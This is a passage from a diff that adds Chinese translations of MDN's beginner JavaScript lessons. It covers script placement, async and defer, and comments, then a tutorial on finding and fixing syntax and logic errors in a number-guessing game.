class="brush: html notranslate"><script src="script.js" async></script></pre> + </li> + <li>在 <code>script.js</code> 文件中,添加下面的脚本: + <pre class="brush: js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">createParagraph</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + let para <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + para<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'你点击了这个按钮!'</span><span class="punctuation token">;</span> + document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>para<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code> + +const buttons <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">'button'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">for</span><span class="punctuation token">(let</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token"><</span> buttons<span class="punctuation token">.</span>length <span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + buttons<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> createParagraph<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> </pre> + </li> + <li>保存并刷新浏览器,你会发现二者完全一样。但是现在我们把 JavaScript 写进了一个外部文件。这样做一般会使代码更加有序,更易于复用,且没有了脚本的混合,HTML 也会更加易读,因此这是个好的习惯。</li> +</ol> + +<div class="note" dir="ltr"> +<p><strong>注</strong>:你可以在 GitHub 上查看这个版本 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">apply-external.html</a> 以及 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> (<a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">也可在线查看</a>).</p> +</div> + +<h3 dir="ltr" id="内联_JavaScript_处理器">内联 JavaScript 处理器</h3> + +<p dir="ltr">注意,有时候你会遇到在 HTML 中存在着一丝真实的 JavaScript 代码。它或许看上去像这样:</p> + +<pre class="brush: js example-bad line-numbers language-js notranslate" dir="rtl"><code class="language-js"><span class="keyword token">function</span> <span class="function token">createParagraph</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + const para <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + para<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'你点击了这个按钮!'</span><span class="punctuation token">;</span> + document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>para<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<pre class="brush: html example-bad notranslate" dir="rtl"><button onclick="createParagraph()">点我呀</button></pre> + +<p dir="ltr">你可以在下面尝试这个版本的 demo。</p> + +<div class="hidden" dir="ltr"> +<h6 id="Inline_JavaScript">Inline JavaScript</h6> + +<pre class="brush: html notranslate"><code><!DOCTYPE html></code> +<code><html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <title>JavaScript 示例</title> + <script> + </code><code class="language-js"><span class="keyword token">function</span> <span class="function token">createParagraph</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + const para <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + para<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'你点击了这个按钮!'</span><span class="punctuation token">;</span> + document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>para<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token"> }</span></code> +<code> </script> + </head> + <body> + <button onclick="createParagraph()">点我呀</button> + </body> +</html></code> + +</pre> +</div> + +<p dir="ltr">{{ EmbedLiveSample('Inline_JavaScript', '100%', 150, "", "", "hide-codepen-jsfiddle") }}</p> + +<p dir="ltr">这个 demo 与之前的两个功能完全一致,只是在 {{htmlelement("button")}} 元素中包含了一个内联的 <code>onclick</code> 处理器,使得函数在按钮被按下时运行。</p> + +<p dir="ltr"><strong>然而请不要这样做。</strong> 这将使 JavaScript 污染到 HTML,而且效率低下。对于每个需要应用 JavaScript 的按钮,你都得手动添加 <code>onclick="createParagraph()"</code> 属性。</p> + +<p dir="ltr">可以使用纯 JavaScript 结构来通过一个指令选取所有按钮。下文的这段代码即实现了这一目的:</p> + +<pre class="brush: js notranslate" dir="rtl">const buttons = document.querySelectorAll('button'); + +for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); +}</pre> + +<p dir="ltr">这样写乍看去比 <code>onclick</code> 属性要长一些,但是这样写会对页面上所有按钮生效,无论多少个,或添加或删除,完全无需修改 JavaScript 代码。</p> + +<div class="note" dir="ltr"> +<p><strong>注</strong>:请尝试修改 <code>apply-javascript.html</code> 以添加更多按钮。刷新后可发现按下任一按钮时都会创建一个段落。很高效吧。</p> +</div> + +<h3 dir="ltr" id="脚本调用策略">脚本调用策略</h3> + +<p dir="ltr">要让脚本调用的时机符合预期,需要解决一系列的问题。这里看似简单,实际大有文章。最常见的问题就是:HTML 元素是按其在页面中出现的次序调用的,如果用 JavaScript 来管理页面上的元素(更精确的说法是使用 <a href="/zh-CN/docs/Web/API/Document_Object_Model">文档对象模型</a> DOM),若 JavaScript 加载于欲操作的 HTML 元素之前,则代码将出错。</p> + +<p dir="ltr">在上文的“内部”、“外部”示例中,JavaScript 调用于文档头处,解析 HTML 文档体之前。这样做是有隐患的,需要使用一些结构来避免错误发生。</p> + +<p dir="ltr">“内部”示例使用了以下结构:</p> + +<pre class="brush: js notranslate" dir="rtl">document.addEventListener("DOMContentLoaded", function() { + . . . +});</pre> + +<p dir="ltr">这是一个事件监听器,它监听浏览器的 "<code>DOMContentLoaded</code>" 事件,即 HTML 文档体加载、解释完毕事件。事件触发时将调用 " <code>. . .</code>" 处的代码,从而避免了错误发生(<a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Events">事件</a> 的概念稍后学习)。</p> + +<p dir="ltr">“外部”示例中使用了 JavaScript 的一项现代技术(<code>async</code> “异步”属性)来解决这一问题,它告知浏览器在遇到 <code><script></code> 元素时不要中断后续 HTML 内容的加载。</p> + +<pre class="brush: html notranslate" dir="rtl"><script src="script.js" async></script></pre> + +<p dir="ltr">上述情况下,脚本和 HTML 将一并加载,代码将顺利运行。</p> + +<div class="blockIndicator note" dir="ltr"> +<p><strong>注</strong>:“外部”示例中 <code>async</code> 属性可以解决调用顺序问题,因此无需使用 <code>DOMContentLoaded</code> 事件。而 <code>async</code> 只能用于外部脚本,因此不适用于“内部”示例。</p> +</div> + +<p dir="ltr">解决此问题的旧方法是:把脚本元素放在文档体的底端(<code></body></code> 标签之前,与之相邻),这样脚本就可以在 HTML 解析完毕后加载了。此方案(以及上述的 <code>DOMContentLoaded</code> 方案)的问题是:只有在所有 HTML DOM 加载完成后才开始脚本的加载/解析过程。对于有大量 JavaScript 代码的大型网站,可能会带来显著的性能损耗。这也是 <code>async</code> 属性诞生的初衷。</p> + +<h4 dir="ltr" id="async_和_defer"><code>async</code> 和 <code>defer</code></h4> + +<p dir="ltr">上述的脚本阻塞问题实际有两种解决方案 —— <code>async</code> 和 <code>defer</code>。我们来依次讲解。</p> + +<p dir="ltr">浏览器遇到 <code>async</code> 脚本时不会阻塞页面渲染,而是直接下载然后运行。这样脚本的运行次序就无法控制,只是脚本不会阻止剩余页面的显示。当页面的脚本之间彼此独立,且不依赖于本页面的其它任何脚本时,<code>async</code> 是最理想的选择。</p> + +<p dir="ltr">比如,如果你的页面要加载以下三个脚本:</p> + +<pre class="brush: html notranslate" dir="rtl"><script async src="js/vendor/jquery.js"></script> + +<script async src="js/script2.js"></script> + +<script async src="js/script3.js"></script></pre> + +<p dir="ltr">三者的调用顺序是不确定的。<code>jquery.js</code> 可能在 <code>script2</code> 和 <code>script3</code> 之前或之后调用,如果这样,后两个脚本中依赖 <code>jquery</code> 的函数将产生错误,因为脚本运行时 <code>jquery</code> 尚未加载。</p> + +<p dir="ltr">解决这一问题可使用 <code>defer</code> 属性,脚本将按照在页面中出现的顺序加载和运行:</p> + +<pre class="brush: html notranslate" dir="ltr"><script defer src="js/vendor/jquery.js"></script> + +<script defer src="js/script2.js"></script> + +<script defer src="js/script3.js"></script></pre> + +<p dir="ltr">添加 <code>defer</code> 属性的脚本将按照在页面中出现的顺序加载,因此第二个示例可确保 <code>jquery.js</code> 必定加载于 <code>script2.js</code> 和 <code>script3.js</code> 之前,同时 <code>script2.js</code> 必定加载于 <code>script3.js</code> 之前。</p> + +<p dir="ltr">脚本调用策略小结:</p> + +<ul dir="ltr"> + <li>如果脚本无需等待页面解析,且无依赖独立运行,那么应使用 <code>async</code>。</li> + <li>如果脚本需要等待页面解析,且依赖于其它脚本,调用这些脚本时应使用 <code>defer</code>,将关联的脚本按所需顺序置于 HTML 中。</li> +</ul> + +<h2 dir="ltr" id="注释">注释</h2> + +<p dir="ltr">就像 HTML 和 CSS,JavaScript 代码中也可以添加注释,浏览器会忽略它们,注释只是为你的同事(还有你,如果半年后再看自己写的代码你会说,这是什么垃圾玩意。)提供关于代码如何工作的指引。注释非常有用,而且应该经常使用,尤其在大型应用中。注释分为两类:</p> + +<ul dir="ltr"> + <li>在双斜杠后添加单行注释,比如: + <pre class="brush: js notranslate">// 我是一条注释</pre> + </li> + <li>在 <code>/*</code> 和 <code>*/</code> 之间添加多行注释,比如: + <pre class="brush: js notranslate">/* + 我也是 + 一条注释 +*/</pre> + </li> +</ul> + +<p dir="ltr">比如说,我们可以这样为上一个 demo 添加注释:</p> + +<pre class="brush: js notranslate" dir="rtl">// 函数:创建一个新的段落并添加至 HTML body 底部。 +function createParagraph() { + let para = document.createElement('p'); + para.textContent = '你点了这个按钮!'; + document.body.appendChild(para); +} + +/* + 1. 取得页面上所有按钮的引用并将它们置于一个数组中。 + 2. 通过一个循环为每个按钮添加一个点击事件的监听器。 + 当按钮被点击时,调用 createParagraph() 函数。 +*/ + +const buttons = document.querySelectorAll('button'); + +for (let i = 0; i < buttons.length; i++) { + buttons[i].addEventListener('click', createParagraph); +}</pre> + +<h2 dir="ltr" id="小结">小结</h2> + +<p dir="ltr">恭喜你,迈出了探索 JavaScript 世界的第一步。我们从理论开始,介绍为什么要使用 JavaScript,以及用它能做什么事情。过程中穿插了一些代码示例并讲解了 JavaScript 如何与网站中其他代码适配,等等。</p> + +<p dir="ltr">现在 JavaScript 或许还有些令人生畏,但不用担心。在课程中我们会循序渐进。下一节将<a href="/en-US/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash"> 全力投入实战</a>,让你专注其中,并建立自己的 JavaScript 示例。</p> + +<p dir="ltr">{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</p> + +<h2 dir="ltr" id="本章目录">本章目录</h2> + +<ul dir="ltr"> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript 是什么?</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">查找并解决 JavaScript 代码的错误 </a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Variables">变量:储存所需信息</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Math">数字和运算符:JavaScript 的基本算数</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Strings">字符串:JavaScript 文本的处理</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">字符串的一些实用方法</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Arrays">数组</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Silly_story_generator">课程评估:笑话机</a></li> +</ul> + +<p> + <audio style="display: none;"></audio> +</p> diff --git a/files/zh-cn/learn/javascript/first_steps/what_went_wrong/index.html b/files/zh-cn/learn/javascript/first_steps/what_went_wrong/index.html new file mode 100644 index 0000000000..b36d8be3df --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/what_went_wrong/index.html @@ -0,0 +1,284 @@ +--- +title: 查找并解决 JavaScript 代码的错误 +slug: Learn/JavaScript/First_steps/What_went_wrong +tags: + - JavaScript + - 初学者 + - 开发者工具 + - 指导教程 + - 文章 + - 调试 + - 错误 +translation_of: Learn/JavaScript/First_steps/What_went_wrong +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">上一节中你创建了“猜数字”游戏,但它可能没有正常工作。别担心,本节将为你提供一些简单的提示,来帮助你查找并修复JavaScript程序中的错误,从而让你远离困扰。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础知识,初步理解HTML和CSS,了解JavaScript。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>获得独立修复简单问题的能力和信心。</td> + </tr> + </tbody> +</table> + +<h2 id="错误类型">错误类型</h2> + +<p>一般来说,代码错误主要分为两种:</p> + +<ul> + <li><strong>语法错误</strong>:代码中存在拼写错误,将导致程序完全或部分不能运行,通常你会收到一些出错信息。只要熟悉语言并了解出错信息的含义,你就能够顺利修复它们。</li> + <li><strong>逻辑错误</strong>:有些代码语法虽正确,但执行结果和预期相悖,这里便存在着逻辑错误。这意味着程序虽能运行,但会给出错误的结果。由于一般你不会收到来自这些错误的提示,它们通常比语法错误更难修复。</li> +</ul> + +<p>事情远没有你想的那么简单,随着探究的深入,会有更多差异因素浮出水面。但在编程生涯的初级阶段上述分类方法已足矣。下面我们将依次分析。</p> + +<h2 id="一个出错的示例">一个出错的示例</h2> + +<p>让我们重回猜数字游戏,这次我们将故意引入一些错误。请到Github下载一份 <a href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (或 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">在线运行</a>)。</p> + +<ol> + <li>请分别在你的文本编辑器和浏览器中打开刚下载的文件。</li> + <li>先试玩游戏,你会发现在点击“确定”按钮时,游戏并没有响应。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>:你可能还在为修复你自己版本的游戏头疼,但我们仍然希望你先用我们的版本来完成这一节,这样你才能学到本节中的技术。然后再去修复自己的游戏也不晚。</p> +</div> + +<p>首先查看开发者控制台,看是否存在语法错误,然后尝试修复。详见下文。</p> + +<h2 id="修复语法错误">修复语法错误</h2> + +<p>以前的课程中,你学会了在 <a href="/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">开发工具 JavaScript 控制台</a> 中输入一些简单的 JavaScript 命令。(如果你忘记了如何在浏览器中打开它,可以直接打开上面的链接)。更实用的是,当 JavaScript 代码进入浏览器的 JavaScript 引擎时,如果存在语法错误,控制台会提供出错信息。现在我们去看一看。</p> + +<ol> + <li> + <p class="brush: bash">打开 <code>number-game-errors.html</code> 所在的标签页,然后打开 JavaScript 控制台。你将看到以下出错信息:</p> + <img alt="不是函数" src="https://mdn.mozillademos.org/files/16256/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7_2018-10-17_20.27.08.png" style="display: block; height: 1116px; margin: 0px auto; width: 1564px;"></li> + <li>这个错误很容易跟踪,浏览器为你提供了几条有用的信息(截图来自 Firefox,其他浏览器也提供类似信息)。从左到右依次为:</li> +</ol> + +<ul> + <li>红色 “!” 表示这是一个错误。</li> + <li>一条出错信息,表示问题出在哪儿:“TypeError:<strong>guessSubmit</strong>.addeventListener is not a function”(类型错误:<strong>guessSubmit</strong>.addeventListener 不是函数)</li> + <li>点击[详细了解]将跳转到一个 MDN 页面,其中包含了此类错误超详细的解释。</li> + <li>JavaScript 文件名,点击将跳转到开发者工具的“调试器”标签页。 如果你按照这个链接,你会看到错误突出显示的确切行。</li> + <li>出错的行,以及导致错误的首个字符号。这里错误来自 86 行,第 3 个字符。</li> +</ul> + +<ol start="3"> + <li>我们在代码编辑器中找到第 86 行:</li> +</ol> + +<pre class="brush: js notranslate">guessSubmit.addeventListener('click', checkGuess);</pre> + +<ol start="4"> + <li>出错信息显示“guessSubmit.addeventListener 不是一个函数”,说明这里可能存在拼写错误。如果你不确定某语法的拼写是否正确,可以到 MDN 上去查找,目前最简便的方法就是去你喜欢的搜索引擎搜索“MDN + 语言<em>特性”。就本文当前内容你可以点击</em>:<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>。</li> + <li>因此这里错误显然是我们把函数名写错造成的。请记住,JavaScript 区分大小写,所以任何轻微的不同或大小写问题都会导致出错。将 <code>addeventListener</code> 改为 <code>addEventListener</code> 便可解决。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>更多信息请参考 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Errors/Not_a_function">类型错误:“x”不是一个函数</a>。</p> +</div> + +<h3 id="语法错误:第二轮">语法错误:第二轮</h3> + +<ol> + <li>保存页面并刷新,可以看到出错信息不见了。</li> + <li>现在,如果尝试输入一个数字并按确定按钮,你会看到...另一个错误! <img alt="" src="https://mdn.mozillademos.org/files/16264/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7_2018-10-17_21.56.00.png" style="display: block; height: 1266px; margin: 0px auto; width: 1646px;"></li> + <li>此次出错信息为“TypeError:lowOrHi is null”(“类型错误:lowOrHi为null”),在第 78 行。 + <div class="note"><strong>注</strong>:<code><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Null">Null</a></code>是一个特殊值,意思是“什么也没有”,或者“没有值”。这表示 <code>lowOrHi</code> 已声明并初始化,但没有任何有意义的值,可以说:它没有类型没有值。</div> + + <div class="note"><strong>注</strong>:这条错误没有在页面加载时立即发生,是因为它发生在函数内部(<code>checkGuess() { ... }</code>块中)。函数内部的代码运行于一个外部代码相互独立的域内,后面函数的文章中将更详细地讲解。此时此刻,只有当代码运行至86行并调用 <code>checkGuess()</code> 函数时,代码才会抛出出错信息。</div> + </li> + <li>请观察第 78 行代码: + <pre class="brush: js notranslate">lowOrHi.textContent = '你猜高了!';</pre> + </li> + <li>该行试图将 <code>lowOrHi</code> 变量中的<code> textContent</code> 属性设置为一个字符串,但是失败了,这是因为 <code>lowOrHi</code> 并不包含预期的内容。为了一探究竟,你可以在代码中查找一下该变量的的其他实例。<code>lowOrHi</code> 最早出现于第 48 行: + <pre class="brush: js notranslate">const lowOrHi = document.querySelector('lowOrHi');</pre> + </li> + <li>此处,我们试图让该变量包含一个指向文档 HTML 中特定元素的引用。我们来检查一下在该行代码执行后变量的值是否为 <code>null</code>。在第 49 行添加以下代码: + <pre class="brush: js notranslate">console.log(lowOrHi);</pre> + + <div class="note"> + <p><strong>注</strong>:<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Console/log">console.log()</a></code> 是一个非常实用的调试功能,它可以把值打印到控制台。因此我们将其置于代码第 48 行时,它会将 <code>lowOrHi</code> 的值打印至控制台。</p> + </div> + </li> + <li>保存并刷新,你将在控制台看到 <code>console.log()</code> 的执行结果:<img alt="" src="https://mdn.mozillademos.org/files/16275/%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7_2018-10-18_16.43.40.png" style="display: block; height: 1246px; margin: 0px auto; width: 1606px;"> 显然,此处 <code>lowOrHi</code> 的值为 <code>null</code>,所以第 48 行肯定有问题。</li> + <li>我们来思考问题有哪些可能。第 48 行使用 <code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Document/querySelector">document.querySelector()</a></code> 方法和一个 CSS 选择器来取得一个元素的引用。进一步查看我们的文件,我们可以找到有问题的段落: + <pre class="brush: js notranslate"><p class="lowOrHi"></p></pre> + </li> + <li>这里我们需要一个类选择器,它应以一个点开头(<code>.</code>),但被传递到第 48 行的<code>querySelector()</code>方法中的选择器没有点。这可能是问题所在!尝试将第 48 行中的<code> lowOrHi</code> 改成 <code>.lowOrHi</code>。</li> + <li>再次保存并刷新,此时 <code>console.log()</code> 语句应该返回我们想要的 <code><p></code> 元素。终于把错误搞定了!此时你可以把 <code>console.log()</code> 一行删除,或保留它以便随后参考。选择权在你。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>:此错误的更多详细信息请参阅:<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Errors/Unexpected_type">类型错误:“x”(不)是“y”</a>。</p> +</div> + +<h3 id="语法错误:第三轮">语法错误:第三轮</h3> + +<ol> + <li>现在,如果你再次试玩,你离成功更进了一步。游戏过程按部就班,直到猜测正确或机会用完,游戏结束。</li> + <li>此时如果点击“开始新游戏”,游戏将再次出错,抛出与开始时同样的错误——“TypeError:resetButton.addeventListener is not a function”!这次它来自第 94 行。</li> + <li>查看第 94 行,很容易看到我们犯了同样的错误。我们只需要再次将 <code>addeventListener </code>改为 <code>addEventListener</code>。现在就改吧。</li> +</ol> + +<h2 id="逻辑错误">逻辑错误</h2> + +<p>此时,游戏应该可以顺利进行了。但经过几次试玩后你一定会注意到要猜的随机数不是 0 就是 1。这可不是我们期望的!</p> + +<p>游戏的逻辑肯定是哪里出现了问题,因为游戏并没有返回错误,只是不能正确运行。</p> + +<ol> + <li>寻找<code> randomNumber</code> 变量和首次设定随机数的代码。保存着游戏开始时玩家要猜的随机数的实例大约在 44 行: + + <pre class="brush: js notranslate">let randomNumber = Math.floor(Math.random()) + 1;</pre> + + <p>重新开始游戏产生随机数的设定语句大约在 113 行:</p> + + <pre class="brush: js notranslate">randomNumber = Math.floor(Math.random()) + 1;</pre> + </li> + <li>为了检查问题是否来自这两行,我们要再次转到我们的朋友-控制台:在两行代码之后各插入下面的代码: + <pre class="brush: js notranslate">console.log(randomNumber);</pre> + </li> + <li>保存并刷新,然后试玩,你会看到在控制台显示的随机数总是等于1。</li> +</ol> + +<h3 id="修正逻辑错误">修正逻辑错误</h3> + +<p>为了解决这个问题,让我们来思考这行代码如何工作。首先,我们调用 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code>,它生成一个在 0 和 1 之间的十进制随机数,例如 0.5675493843。</p> + +<pre class="brush: js notranslate">Math.random() +</pre> + +<p>接下来,我们把调用 <code>Math.random()</code> 的结果作为参数传递给 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>,它会舍弃小数部分返回与之最接近的整数。然后我们给这个结果加上1:</p> + +<pre class="notranslate">Math.floor(Math.random()) + 1 +</pre> + +<p>由于将一个 0 和 1 之间的随机小数的小数部分舍弃,返回的整数一定为 0,因此在此基础上加 1 之后返回值一定为 1。要在舍弃小数部分之前将它乘以100。便可得到 0 到 99 之间的随机数:</p> + +<pre class="brush: js notranslate">Math.floor(Math.random() * 100); +</pre> + +<p>然后再加 1,便可得到一个 100 以内随机的自然数:</p> + +<pre class="brush: js notranslate">Math.floor(Math.random() * 100) + 1;</pre> + +<p>将上述两行内容替换为此,然后保存刷新,游戏终于如期运行了!</p> + +<h2 id="其它常见错误">其它常见错误</h2> + +<p>代码中还会遇到其他常见错误。 本节将指出其中的大部分。</p> + +<h3 id="SyntaxError_missing_before_statement_(语法错误:语句缺少分号)">SyntaxError: missing ; before statement<br> + (语法错误:语句缺少分号)</h3> + +<p>这个错误通常意味着你漏写了一行代码最后的分号,但是此类错误有时候会更加隐蔽。例如如果我们把 <code>checkGuess()</code> 函数中的这一行 :</p> + +<pre class="brush: js notranslate">let userGuess = Number(guessField.value); +</pre> + +<p>改成</p> + +<pre class="brush: js notranslate">let userGuess === Number(guessField.value); +</pre> + +<p>将抛出一个错误。因为系统认为你在做其他事情。请不要把赋值运算符(<code>=</code>,为一个变量赋值)和严格等于运算符(<code>===</code>,比较两个值是否相等,返回 <code>true</code>/<code>false</code>)弄混淆。</p> + +<div class="note"> +<p><strong>注:</strong>此错误的更多详细信息请参考 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements">SyntaxError: missing ; before statement</a> 。</p> +</div> + +<h3 id="不管输入什么程序总说“你猜对了!”">不管输入什么程序总说“你猜对了!”</h3> + +<p>这是混淆赋值和严格等于运算符的又一症状。例如我们把 <code>checkGuess()</code> 里的:</p> + +<pre class="brush: js notranslate">if (userGuess === randomNumber) {</pre> + +<p>改成</p> + +<pre class="brush: js notranslate">if (userGuess = randomNumber) { +</pre> + +<p>因为条件永远返回 <code>true</code>,使得程序报告你猜对了。小心哦!</p> + +<h3 id="SyntaxError_missing_after_argument_list_(语法错误:参数表末尾缺少括号)">SyntaxError: missing ) after argument list<br> + (语法错误:参数表末尾缺少括号)</h3> + +<p>这个很简单。通常意味着函数/方法调用后的结束括号忘写了。</p> + +<div class="note"> +<p><strong>注:</strong>有关此错误的更多详细信息请参考: <a href="/zh-CN/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a>。</p> +</div> + +<h3 id="SyntaxError_missing_after_property_id_(语法错误:属性ID后缺少冒号)">SyntaxError: missing : after property id<br> + (语法错误:属性ID后缺少冒号)</h3> + +<p>JavaScript 对象的形式有错时通常会导致此类错误,如果把</p> + +<pre class="brush: js notranslate">function checkGuess() {</pre> + +<p>写成了</p> + +<pre class="brush: js notranslate">function checkGuess( {</pre> + +<p>浏览器会认为我们试图将函数的内容当作参数传回函数。写圆括号时要小心!</p> + +<h3 id="SystaxError_missing_after_function_body_(语法错误:函数体末尾缺少花括号)">SystaxError: missing } after function body<br> + (语法错误:函数体末尾缺少花括号)</h3> + +<p>这个简单。通常意味着函数或条件结构中丢失了一个花括号。如果我们将 <code>checkGuess()</code> 函数末尾的花括号删除,就会得到这个错误。</p> + +<h3 id="SyntaxError_expected_expression_got_string_(语法错误:得到一个_string_而非表达式)">SyntaxError: expected expression, got '<em>string</em>'<br> + (语法错误:得到一个 '<em>string</em>' 而非表达式)</h3> + +<p>或者</p> + +<h3 id="SyntaxError_unterminated_string_literal_(语法错误:字符串字面量未正常结束)">SyntaxError: unterminated string literal<br> + (语法错误:字符串字面量未正常结束)</h3> + +<p>这个错误通常意味着字符串两端的引号漏写了一个。如果你漏写了字符串开始的引号,将得到第一条出错信息,这里的 '<em>string' </em>将被替换为浏览器发现的意外字符。如果漏写了末尾的引号将得到第二条。</p> + +<p>对于所有的这些错误,想想我们在实例中是如何逐步解决的。错误出现时,转到错误所在的行观察是否能发现问题所在。记住,错误不一定在那一行,错误的原因也可能和我们在上面所说的不同!</p> + +<div class="note"> +<p><strong>注:</strong> 有关这些错误的更多详细信息请参考:<a href="/zh-CN/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> 以及 <a href="/zh-CN/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a>。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>我们有了能够在简单的 JavaScript 程序中除错的基础知识。解决代码中的错误并不总是那么简单,但至少本节内容可以为刚刚踏上学习之路的你节省出几个小时来补觉,同时让问题更快速得到解决。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>许多错误不能一一的在这里列出来,我们正在编写一个参考文档来详细说明它们的含义。请参阅 <a href="/zh-CN/docs/Web/JavaScript/Reference/Errors">JavaScript 出错信息参考</a>.</li> + <li>如果你在阅读了本文之后遇到了一些错误但不知如何解决,你能够得到别人的帮助! <span class="short_text" id="result_box" lang="zh-CN"><span>可以到<a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294"> 学习区</a></span></span> 或者 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> 的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> 聊天室来提问。告诉我们你遇到的错误是什么,我们会尽量帮助你。附加一段你的代码也是很有用的。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript 是什么?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">查找并解决 JavaScript 代码的错误 </a></li> + <li><a 